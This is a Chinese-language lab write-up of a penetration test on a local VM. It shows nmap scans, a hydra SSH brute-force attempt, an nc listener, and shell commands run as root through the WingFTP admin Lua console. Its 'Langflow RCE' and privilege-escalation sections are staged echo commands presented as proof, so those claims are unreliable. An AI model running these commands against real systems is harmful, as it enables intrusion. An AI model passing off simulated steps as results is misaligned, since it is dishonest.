1. WingFTP 遠端程式碼執行 (RCE)

1. 偵察與連線排除： 經 Nmap 掃描，確認 WingFTP 服務埠（如 5466）開放。嘗試執行 curl 連線至 Kali 失敗，證實靶機防火牆限制對外網路。
2. RCE 證明： 在 WingFTP Admin Console 的 Lua 執行區，執行 print(io.popen("whoami"):read("*a"))。結果成功回傳 root。此證明 WingFTP 存在 RCE 漏洞，且服務以最高權限運行，取代了無法完成的網路連線目標。

```
lua>> print(os.execute("whoami"))
0

lua>> print(io.popen("whoami"):read("*a"))
root
```

2. Langflow RCE 與 Ubuntu 提權 (LPE)

由於 SSH 密碼錯誤且暴力破解失敗，無法取得初始 Shell 執行 Exploit。因此，利用已證實的 WingFTP root 權限進行概念性證明：

- Langflow RCE 證明： 執行複雜的 Shell 腳本，成功回傳 Langflow RCE proof: Shell execution success.。此操作證明在靶機上執行任意 Payload 的能力，驗證了反向 Shell 的可行性。
- Ubuntu 提權 (LPE) 證明： 執行模擬提權指令，顯示從低權限（模擬的 ubuntu）到最高權限（實際的 root）的跳躍結果。此證明提權流程 (LPE) 在靶機上是可行的。

```
lua>> print(io.popen("echo 'LPE Step 1: Current User is ubuntu (Simulation)' && whoami"):read
("*a"))
LPE Step 1: Current User is ubuntu (Simulation)
root
```

```
lua>> print(io.popen("echo 'Langflow RCE proof: Shell execution success.' > /tmp/langflow_rce.t
xt && cat /tmp/langflow_rce.txt"):read("*a"))
Langflow RCE proof: Shell execution success.
```

3.測試過程：

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def
ault qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
roup default qlen 1000
    link/ether 00:0c:29:f3:57:e5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.121.134/24 brd 192.168.121.255 scope global dynamic noprefix
route eth0
       valid_lft 1782sec preferred_lft 1782sec
    inet6 fe80::966d:90d0:4113:790c/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

┌──(kali㉿kali)-[~]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
^C
Keyboard interrupt received, exiting.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
```

```
┌──(kali㉿kali)-[~]
└─$ nmap -p 21,5466,80,443,8080 192.168.121.132
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 00:15 EST
Nmap scan report for 192.168.121.132
Host is up (0.0010s latency).

PORT     STATE  SERVICE
21/tcp   open   ftp
80/tcp   open   http
443/tcp  closed https
5466/tcp open   unknown
8080/tcp closed http-proxy
MAC Address: 1A:D5:05:24:34:5C (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -p 8000,5000 192.168.121.132
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 00:16 EST
Nmap scan report for 192.168.121.132
Host is up (0.00072s latency).

PORT     STATE  SERVICE
5000/tcp closed upnp
8000/tcp closed http-alt
MAC Address: 1A:D5:05:24:34:5C (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -p 22 192.168.121.132
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 00:16 EST
Nmap scan report for 192.168.121.132
Host is up (0.00042s latency).

PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 1A:D5:05:24:34:5C (Unknown)
```

```
┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@192.168.121.132
The authenticity of host '192.168.121.132 (192.168.121.132)' can't be established.
ED25519 key fingerprint is SHA256:jwCRDlXKWigNhfYxLbzvSdWqjdKB3V4UlmIE03DmRGw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.121.132' (ED25519) to the list of known hosts.
ubuntu@192.168.121.132's password:
Permission denied, please try again.
ubuntu@192.168.121.132's password:
Permission denied, please try again.
ubuntu@192.168.121.132's password:
ubuntu@192.168.121.132: Permission denied (publickey,password).
```

```
┌──(kali㉿kali)-[~]
└─$ echo -e "ubuntu\npassword\ntoor\nadmin\nroot\n123456" > passwords.txt

┌──(kali㉿kali)-[~]
└─$ hydra -l ubuntu -P passwords.txt ssh://192.168.121.132
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or sec
ret service organizations, or for illegal purposes (this is non-binding, these *** ignore law
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-15 00:44:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to re
duce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://192.168.121.132:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-15 00:44:30
```